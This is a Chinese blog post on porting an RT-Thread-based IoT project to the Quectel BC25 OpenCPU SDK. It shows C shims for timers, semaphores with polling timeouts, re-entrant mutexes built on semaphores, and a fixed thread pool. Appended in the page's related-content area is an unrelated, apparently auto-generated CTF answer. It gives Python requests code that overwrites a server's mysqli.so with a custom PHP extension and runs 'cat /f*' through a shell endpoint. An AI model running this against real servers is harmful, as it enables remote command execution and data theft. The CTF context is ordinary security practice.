rtthread套娃移植

和大家分享下将基于rtthread的项目移植到其他平台的经验。

背景

最近做了一个物联网项目移植。原先的项目使用的硬件平台为stm32f401+sim800c(mcu + 2G modem),软件平台为rtthread 4.0.1。移植到的新平台为BC25(nb modem),软件平台为BC25 opencpu sdk,也跑了个RTOS,具体不详。BC25不支持rtthread,笔者也无法移植rtthread到BC25,因为BC25只提供了一套SDK接口,无源码,无芯片手册。

opencpu简介
可能有些同学不了解opencpu,这里简单解释下。传统的单片机联网平台是mcu+modem,mcu通过AT命令与modem交互。modem也是有cpu的,而且由于其要运行网络协议栈,RAM和FLASH资源比普通单片机丰富。因此有些modem提供了opencpu功能,让客户的业务代码能跑在modem中,这样就省去了mcu及周边远器件。

BC25 sdk提供了线程、线程间通信、驱动等接口。不过和rtthread的接口相比,其操作系统接口很不完备。比如:

  • 获取信号量的接口,只支持两种方式:无堵塞(获取不到,立刻返回失败),死等(获取不到就一直等)。缺少折中方案:设置等待的时间,超时则返回失败。
  • 最多可创建5个互斥量。。。
  • 用户程序最多可使用8个线程,而且是在代码中通过宏列表写死。不支持动态创建线程。

直接使用BC25的SDK的话,就需要对原来的业务代码做很多改动。比如用到信号量的地方,不仅仅是将rt_sem_take换成Ql_OS_TakeSemaphore。对于用到超时返回特性的rt_sem_take,得做特殊的修改。再说写死的线程,笔者在原项目中写了一个通用的状态机模块,其内部动态创建线程以维护状态机的流转。并且多处使用了该状态机模块,因为是通用的嘛。而现在不能动态创建线程,就很麻烦。

假移植决定

经过一番权衡,笔者决定实现rtthread的内核接口,这样做有三大好处:

  • 解决了BC25 SDK接口不完备的问题。
  • 业务层还是使用rtthread接口,所以业务代码改动量非常之少(主要改的是驱动代码)。
  • 这样的方案灵活机动,如果下次又用另一家的opencpu了,还是不用动业务层。

所谓实现rtthread接口而不是移植rtthread,是笔者基于现有的SDK接口来实现rtthread接口,即心是BC25 SDK,壳是rtthread。因此标题为:rtthread套娃移植。

笔者认为这种另类的移植不算常见,有很多细节要处理,因此写此篇文章和大家分享交流。请注意,本篇文章是分享些移植经验,并不是完整的移植指南。

移植的内容分为三大类:内核接口,非常常用的驱动(pin,i2c),finsh。

内核接口细分如下:

  • 基本类型(如rt_uint32_t)
  • rtt的内核库(如rt_memset,rt_vsprintf,rt_malloc)
  • 线程接口(如rt_thread_create)
  • 线程间同步与通信、中断管理(rt_mutex_t,rt_sem_t,rt_event_t,rt_mq_t,rt_enter_critical,rt_hw_interrupt_disable)
  • 定时器(rt_timer_t)

内核接口移植

接实现方法,分为三类:

  • 直接复制
  • 简单替换
  • 逻辑适配

直接复制

基本类型(rt_uint32_t),错误码(RT_EOK)以及基本宏(RT_ALIGN)定义在rtdef.h这中,可直接把该文件复制过来,删除不需要的东西(如rt_device_ops,rt_device)。rtdef.h中还定义了线程、线程间通信、定时器这些模块的相关结构体,这些也删掉,具体原因会在后面说。

简单替换

这个主要是针对rtt的内核库,比如rt_memset,其声明为:

void *rt_memset(void *s, int c, rt_ubase_t count)

BC25也提供了自己的C库,其声明为:

void* Ql_memset(void* dest, u8 value, u32 size)

这就可以通过宏来一对一替换:

#define rt_memset(dst, value, size)     Ql_memset(dst, value, size)

能简单替换的内容不多,也就这么些:

#define rt_memset(dst, value, size)     Ql_memset(dst, value, size)
#define rt_memcpy(dst, src, size)       Ql_memcpy(dst, src, size)
#define rt_memcmp(dst, src, size)       Ql_memcmp(dst, src, size)
#define rt_memmove(dst, src, size)      Ql_memmove(dst, src, size)
#define rt_strcpy(dst, src)             Ql_strcpy(dst, src)
#define rt_strncpy(dst, src, size)      Ql_strncpy(dst, src, size)
#define rt_strcmp(s1, s2)               Ql_strcmp(s1, s2)
#define rt_strncmp(s1, s2, size)        Ql_strncmp(s1, s2, size)
#define rt_strchr(src, ch)              Ql_strchr(src, ch)
#define rt_strlen(str)                  Ql_strlen(str)
#define rt_strstr(s1, s2)               Ql_strstr(s1, s2)

#define rt_vsprintf(s, fmt, arg)        Ql_vsprintf(s, fmt, arg)
#define rt_sprintf(s, fmt, ...)         Ql_sprintf(s, fmt, ##__VA_ARGS__)
#define rt_snprintf(s, size, fmt, ...)  Ql_snprintf(s, size, fmt, ##__VA_ARGS__)
#define rt_sscanf(s, fmt, ...)          Ql_sscanf(s, fmt, ##__VA_ARGS__)

除了用宏的方式,也可以用函数来封装。

void *rt_malloc(rt_size_t size)
{
    return Ql_MEM_Alloc(size);
}

起初笔者也是用宏来替换rt_malloc的,但是这样一来cJSON软件包的代码编译不过,因为其用函数指针来指向rt_malloc。而笔者定义的是带参数的宏,此处就不会替换,从而提示rt_malloc未被定义。

int cJSON_hook_init(void)
{
    cJSON_Hooks cJSON_hook;

    cJSON_hook.malloc_fn = (void *(*)(size_t sz))rt_malloc;
    cJSON_hook.free_fn = rt_free;

    cJSON_InitHooks(&cJSON_hook);

    return RT_EOK;
}

逻辑适配

逻辑适配才是本次移植的主要工作,所以另起一章进行说明。

关于线程接口、线程间同步与通信、中断管理、定时器等模块,BC25 SDK也提供了相关接口,不过在功能、参数列表和返回值方面与rtthread接口肯定是不一致的,需要做一些适配工作。
rtthread中rt_mutex_t之类的内核结构体使用了面向对象的概念,继承关系如下:
在这里插入图片描述

不过本次移植,是使用BC25的接口来填充rtthread接口,用不到这层关系,只要在功能上保持一致即可。所以关于rt_mutex_t之类的类型定义,由笔者自行定义。这就是之前复制rtdef.h时要删掉它们的原因。
rtthread中的定义

struct rt_mutex
{
    struct rt_ipc_object parent;                        /**< inherit from ipc_object */

    rt_uint16_t          value;                         /**< value of mutex */

    rt_uint8_t           original_priority;             /**< priority of last thread hold the mutex */
    rt_uint8_t           hold;                          /**< numbers of thread hold the mutex */

    struct rt_thread    *owner;                         /**< current owner of mutex */
};

笔者的定义

struct rt_mutex
{
    char name[RT_NAME_MAX];

    rt_sem_t sem;
    rt_thread_t owner;
    rt_uint32_t hold;
};

有些BC25的接口与rtthread比较相似,如定时器接口,适配起来很容易。有些BC25接口不完备,比如线程间同步的接口不能设置超时时间,不能动态创建线程,这些就需要费些工夫。下面笔者挑一些有代表性的来介绍适配方法。

定时器

BC25创建定时器和启动定时器的接口如下:

typedef void(*Callback_Timer_OnTimer)(u32 timerId, void* param);
s32 Ql_Timer_Register(u32 timerId, Callback_Timer_OnTimer callback_onTimer, void* param);
s32 Ql_Timer_Start(u32 timerId, u32 interval, bool autoRepeat);

rttthread相关接口为:

rt_timer_t rt_timer_create(const char *name,
                           void (*entry)(void *parameter),
                           void       *parameter,
                           rt_tick_t   timeout,
                           rt_uint8_t  flag);
rt_err_t rt_timer_start(rt_timer_t timer);

大体上是相似的,都是创建定时器传入回调函数和额外参数。哈哈,其实定时器接口肯定要这两个参数啦。不同之处为:

  • BC25通过ID来操作相关定时器,rtthread由模块创建并返回定时器对象,之后由该对象来操作相关定时器。这点上,rtthread接口更为易用,因为BC25需要防止ID冲突。
  • BC25是在启动定时器是指定定时间隔和模式(周期还是单次),rtthread是在创建定时器时指定,不过之后也可以修改。这点上,笔者还是觉得rtthread好用,嗯,笔者真不是马屁精。

适配方法很简单,在rt_timer_create函数中,动态获取id(自增即可),创建rt_timer_t对象,并将timeout和flag保存在对象中。也要保存entry和parameter,因为BC25的回调函数形式与rtthread不一致,由timer_callback中转。

static uint32_t timer_id_alloc(void)
{
    static uint32_t id = 0x100;
    uint32_t ret;

    rt_enter_critical();
    ret = id++;
    rt_exit_critical();

    return ret;
}

static void timer_callback(u32 id, void* param)
{
    rt_timer_t timer = (rt_timer_t)param;
    RT_ASSERT(timer->handle == id);
    timer->entry(timer->parameter);
}

rt_timer_t rt_timer_create(const char *name,
                           void (*entry)(void *parameter),
                           void       *parameter,
                           rt_tick_t   timeout,
                           rt_uint8_t  flag)
{
    int ret;

    rt_timer_t timer = (rt_timer_t)rt_malloc(sizeof(struct rt_timer));
    RT_ASSERT(timer);
    rt_memset(timer, 0, sizeof(*timer));
    rt_snprintf(timer->name, sizeof(timer->name), "%s", name);
    timer->handle = timer_id_alloc();
    ret = Ql_Timer_Register(timer->handle, timer_callback, timer);
    if(ret != QL_RET_OK)
    {
        rt_free(timer);
        return RT_NULL;
    }
    timer->entry = entry;
    timer->parameter = parameter;
    timer->flag = flag;
    timer->timeout = timeout;
    return timer;
}

rt_err_t rt_timer_start(rt_timer_t timer)
{
    int ret;

    ret = Ql_Timer_Start(timer->handle, rt_tick_to_millisecond(timer->timeout), (timer->flag & RT_TIMER_FLAG_PERIODIC) != 0);
    timer->flag |= RT_TIMER_FLAG_ACTIVATED;
    return ret == QL_RET_OK ? RT_EOK : -RT_ERROR;
}

顺便说下rt_enter_critical和rt_hw_interrupt_disable。前者是关调度器,后者是关中断。还记得BC25的线程都不能动态创建吗,更是不可能提供这些功能接口。巧妇难为无米之炊啊,笔者只能用BC25的互斥量(对,就是之前说的,最多可创建5个互斥量)来实现。

void rt_enter_critical(void)
{
    Ql_OS_TakeMutex(rtt_mutex);
}

void rt_exit_critical(void)
{
    Ql_OS_GiveMutex(rtt_mutex);
}

rt_base_t rt_hw_interrupt_disable(void)
{
    rt_enter_critical();
    return 0;
}

void rt_hw_interrupt_enable(rt_base_t level)
{
    rt_exit_critical();
}

可能有的同学会不解,人家明明是要关调度器,你用互斥量有什么用。确实,这有一定的使用限制,那就是所有访问相关资源的地方,都要关调度器。比如说:
写ringbuffer时关调度器。

rt_enter_critical();
rt_ringbuffer_put_force(&stream->recv_rb, stream->tmp_buf, ret);
rt_exit_critical();

读ringbuffer时也关调度器。

rt_enter_critical();
ret = rt_ringbuffer_getchar(&stream->recv_rb, &data);
rt_exit_critical();

这样一来,调度器就是一个全局互斥量。关中断也是一样的原理。至于上述示例代码为什么不直接用rt_mutex,笔者说下自己关于何时用互斥量、何时关调度器的理解。如果是在访问资源的时间极短,关调度器比较合适;相反,比如通过i2c总线进行数据传输,尤其是硬件i2c,则应该用互斥量。因为在操作i2c的过程中,完全可以释放cpu资源给别的线程用。而且,访问不同的资源得使用不同的互斥量,因为操作i2c时不应该让spi资源也被锁定。
可能又有同学质疑:在中断函数里面怎么能使用互斥量呢。庆幸的是,业务代码就没用到真正的中断场景。BC25提供的大部分回调接口,比如串口、GPIO、定时器,都是在线程中进行回调,数据的缓存由BC25实现(比如串口)。这样也是合理的,享受不到相应的权力(底层的控制权限),不应该也无法履行相应的义务。最后再次声明,这是权宜之计,无奈之举啊。

信号量

BC25的信号量接口与rtthread比较相似,唯独缺少超时功能,只能选择不等或者死等。

u32 Ql_OS_TakeSemaphore(u32 semId, bool wait);
rt_err_t rt_sem_take(rt_sem_t sem, rt_int32_t timeout);

rt_sem_trytake的实现很简单,就是不等。

rt_err_t rt_sem_trytake(rt_sem_t sem)
{
    rt_uint32_t ret = Ql_OS_TakeSemaphore(sem->handle, false);
    return ret == OS_SUCCESS ? RT_EOK : -RT_ERROR;
}

至于rt_sem_take,分三种情况。若是死等或者不等,直接通过rt_sem_trytake来调用BC25接口。若是带超时的等待,只能搞个循环尝试了,牺牲实时性。

rt_err_t rt_sem_take(rt_sem_t sem, rt_int32_t timeout)
{
    if((rt_tick_t)timeout == RT_WAITING_FOREVER)
    {
        rt_uint32_t ret = Ql_OS_TakeSemaphore(sem->handle, true);
        return ret == OS_SUCCESS ? RT_EOK : -RT_ERROR;
    }
    else if(timeout == 0)
    {
        return rt_sem_trytake(sem);
    }
    else
    {
        timeout = rt_tick_get() + timeout;
        rt_err_t err;
        do
        {
            err = rt_sem_trytake(sem);
            if(err == RT_EOK)
            {
                return RT_EOK;
            }
            rt_thread_delay(1);
        } while(rt_tick_get() < timeout);
        return -RT_ETIMEOUT;
    }
}

互斥量

BC25最多创建5个互斥量,这显然不够用。对了,它也没有超时版本。PS:BC25所有进程间同步与通信接口均无超时版本。所以这里打算重新设计互斥量模块,而不使用BC25的接口。之所以rt_enter_critical使用BC25的互斥量,是因为rt_enter_critical不存在超时场景,并且笔者设计的互斥量接口中还使用到了rt_enter_critical。
如何凭空创造互斥量呢,哈哈,显然不可能。笔者使用已实现的rt_sem来实现rt_mutex。互斥量与信号量本是用于两种不同的场景,不过信号量可以替代互斥量,而互斥量无法替代信号量。信号量常用的场景是用于发送通知,初始信号值为0,生产者调用rt_sem_release以让信号值加1,消费者调用rt_sem_take等待信号并减1。如果将初始信号值设置为1的话,那就可以用于互斥场景了。在访问资源前调用rt_sem_take,若此时信号值为1,则获取信号量,此后信号值为0。此时其他线程调用rt_sem_take将被堵塞。当访问完毕后,调用rt_sem_release恢复信号量值为1。
笔者最初的实现如下:

rt_mutex_t rt_mutex_create(const char *name, rt_uint8_t flag)
{
    return rt_sem_create(name, 1, flag);
}

rt_err_t rt_mutex_delete(rt_mutex_t mutex)
{
    return rt_sem_delete(mutex);
}

rt_err_t rt_mutex_take(rt_mutex_t mutex, rt_int32_t time)
{
    return rt_sem_take(mutex, time);
}

rt_err_t rt_mutex_release(rt_mutex_t mutex)
{
    return rt_sem_release(mutex);
}

简单测试下是没问题的,不过跑业务代码时发生了卡死。最终发现,这种实现不可重入。比如,函数A调用rt_mutex_take后调用函数B,函数B又调用了rt_mutex_take。处理方案:在获取互斥量时,若其已被上锁且持有者为当前线程,则直接放行。PS:此方案借(抄)鉴(袭)rtthread原接口的实现。

rt_err_t rt_mutex_take(rt_mutex_t mutex, rt_int32_t timeout)
{
    rt_err_t err = -RT_ERROR;
    rt_thread_t cur_thread = rt_thread_self();

    RT_ASSERT(cur_thread);

    rt_enter_critical();
    if(mutex->owner == cur_thread)
    {
        mutex->hold++;
        rt_exit_critical();
        return RT_EOK;
    }
    rt_exit_critical();

    err = rt_sem_take(mutex->sem, timeout);
    if(err != RT_EOK)
    {
        return err;
    }

    rt_enter_critical();
    mutex->owner = cur_thread;
    mutex->hold = 1;
    rt_exit_critical();
    return RT_EOK;

}

rt_err_t rt_mutex_release(rt_mutex_t mutex)
{
    rt_thread_t cur_thread = rt_thread_self();

    RT_ASSERT(cur_thread && mutex->owner == cur_thread);

    rt_enter_critical();
    mutex->hold--;
    if(mutex->hold == 0)
    {
        mutex->owner = RT_NULL;
        rt_sem_release(mutex->sem);
    }
    rt_exit_critical();

    return RT_EOK;
}

线程

笔者已吐槽多次,BC25的线程是在代码中写死的,像下面这样,proc_main_task、proc_ril_task是线程入口函数,第二个参数是线程ID。

TASK_ITEM(proc_main_task,       MAIN_THREAD_ID,   10*1024, DEFAULT_VALUE1, DEFAULT_VALUE2) //main task
TASK_ITEM(proc_ril_task,        ril_task_id,    5*1024, DEFAULT_VALUE1, DEFAULT_VALUE2)  //RIL task
TASK_ITEM(proc_urc_task,        urc_task_id,    5*1024, DEFAULT_VALUE1, DEFAULT_VALUE2)  //URC task

不过BC25提供了一个非常重要的线程接口,也仅仅提供了这一个接口:返回当前线程的ID。

s32 Ql_OS_GetActiveTaskId(void);

可以用此实现rt_thread_self。真是万幸啊,这不之前的rt_mutex_take的重入功能还用到它的嘛。

rt_thread_t rt_thread_self(void)

至于如何实现动态创建,待我慢慢道来。

BC25允许用户最多创建8个线程,笔者将它们纳入线程池。

线程对象的定义:

struct rt_thread
{
    char name[RT_NAME_MAX];
    int ql_id;

    void (*entry)(void *parameter);
    void *parameter;

    rt_uint32_t stack_size;
    rt_uint8_t  priority;

    rt_bool_t in_use;
    rt_sem_t sem;
};

线程池定义:

static struct rt_thread thread_lst[THREAD_NUM];

死写的线程列表:

TASK_ITEM(thread_entry,  THREAD1_ID, 5*1024, DEFAULT_VALUE1, DEFAULT_VALUE2)
TASK_ITEM(thread_entry,  THREAD2_ID, 5*1024, DEFAULT_VALUE1, DEFAULT_VALUE2)
TASK_ITEM(thread_entry,  THREAD3_ID, 5*1024, DEFAULT_VALUE1, DEFAULT_VALUE2)
TASK_ITEM(thread_entry,  THREAD4_ID, 5*1024, DEFAULT_VALUE1, DEFAULT_VALUE2)
TASK_ITEM(thread_entry,  THREAD5_ID, 5*1024, DEFAULT_VALUE1, DEFAULT_VALUE2)
TASK_ITEM(thread_entry,  THREAD6_ID, 5*1024, DEFAULT_VALUE1, DEFAULT_VALUE2)
TASK_ITEM(thread_entry,  THREAD7_ID, 5*1024, DEFAULT_VALUE1, DEFAULT_VALUE2)
TASK_ITEM(thread_entry,  THREAD8_ID, 5*1024, DEFAULT_VALUE1, DEFAULT_VALUE2)

这8个线程的入口函数都指向同一个thread_entry。该函数通过id找到线程池中自己的对象,等待对象被激活。激活后,运行真正的线程入口函数。

void thread_entry(int id)
{
    rt_thread_t thread;

    /*
     * 等待本模块初始化,因为线程是写死的,
     * 可能在系统加载时就开始运行了。
     */
    wait_thread_init();

    thread = get_thread(id);
    RT_ASSERT(thread);

    /*
     * 等待线程被激活。
     * 即用户rt_thread_create并rt_thread_create。
     */
    RT_ASSERT(rt_sem_take(thread->sem, RT_WAITING_FOREVER) == RT_EOK);

    RT_ASSERT(thread->entry);
    thread->entry(thread->parameter);

    /*
     * 其实这里还可以做回收的,不过笔者没用到这个场景。
     */
}

rt_thread_create从线程池中获取空闲的线程对象,标记为使用中(in_use),记录相关参数(主要是入口函数,入参),返回该对象。

/*
 * stack_size和priority是预留参数,可用于后期优化。
 */
static rt_thread_t alloc_thread(rt_uint32_t stack_size, rt_uint8_t priority)
{
    rt_thread_t thread = RT_NULL;

    rt_enter_critical();
    for(int i = 0; i < THREAD_NUM; i++)
    {
        rt_thread_t tmp = thread_lst + i;
        if(!tmp->in_use)
        {
            tmp->in_use = RT_TRUE;
            thread = tmp;
            break;
        }
    }

    rt_exit_critical();
    return thread;
}

rt_thread_t rt_thread_create(const char *name,
                             void (*entry)(void *parameter),
                             void       *parameter,
                             rt_uint32_t stack_size,
                             rt_uint8_t  priority,
                             rt_uint32_t tick)
{
    rt_thread_t thread = alloc_thread(stack_size, priority);
    if(!thread)
    {
        rt_kprintf("No available thread for app_thread(name:%s, stack_size:%d, priority:%d)\r\n",
                name, stack_size, priority);
        return RT_NULL;
    }

    rt_snprintf(thread->name, sizeof(thread->name), "%s", name);
    thread->entry = entry;
    thread->parameter = parameter;

    return thread;
}

上述是最关键的实现。未实现的功能有:

  • 线程的释放与回收。这个笔者的项目中用不到,也就没做嘿嘿。
  • 线程栈空间大小及优先级的设定。栈空间大小是在线程列表里面列写的,这倒可以视使用场景优化一下:在列表中设定不同空间大小的线程,alloc_thread选择刚刚满足需求的空闲线程。至于优先级,BC25不支持:(。

再次说明,本篇文章是分享些移植经验,并不是完整的移植指南。做这种系统级移植,得对系统有深刻的了解,至少得明白各接口的功能、使用场景,以及自己需要哪些接口(毕竟工具有限,也不是所有接口都能实现,比如真正的关中断)。所以,这种移植工作,因人而异,因项目而异。
先写这么多,关于rt_event_t,rt_mq_t,pin,i2c,请待下回分解。

转载请注明出处:https://blog.csdn.net/wenbodong/article/details/109056606
未经允许请勿用于商业用途。

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 6
    评论
CTFSHOW套娃shell是一种常见的利用技术,用于在Web应用程序中执行命令和控制服务器。根据提供的引用内容,以下是一种使用CTFSHOW套娃shell的方法: 1. 首先,需要获取CTFSHOW扩展。可以通过运行命令`php ext_skel.php --ext ctfshow --std`来生成该扩展的目录。 2. 进入生成的目录,并编辑.c文件,根据需要进行修改。 3. 执行以下命令来编译和安装扩展:`phpize ./configure make && make install`。编译完成后,会告知具体的扩展安装位置。 4. 通过发送POST请求,使用CTFSHOW套娃shell来写入并执行命令。示例代码如下: ```python import requests url = "http://690602f6-e0b4-4a2b-b0e0-b36c4e383275.challenge.ctf.show/" data = {'file': '/usr/local/lib/php/extensions/no-debug-non-zts-20180731/mysqli.so', 'content': open('ctfshow.so', 'rb').read()} requests.post(url + '?a=write', data=data) requests.get(url + '?a=run') ``` 5. 使用CTFSHOW套娃shell执行命令。可以使用以下命令示例: ```python import requests url = "http://690602f6-e0b4-4a2b-b0e0-b36c4e383275.challenge.ctf.show/" data = {'cmd': 'cat /f*'} requests.post(url + '?a=shell', data=data) ``` 这样,您就可以使用CTFSHOW套娃shell来执行命令并获取所需的结果了。请注意,使用套娃shell存在安全风险,应仅在合法和授权的情况下使用。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* *3* [CTFSHOW 常用姿势篇(811-820)](https://blog.csdn.net/miuzzx/article/details/124038567)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 100%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值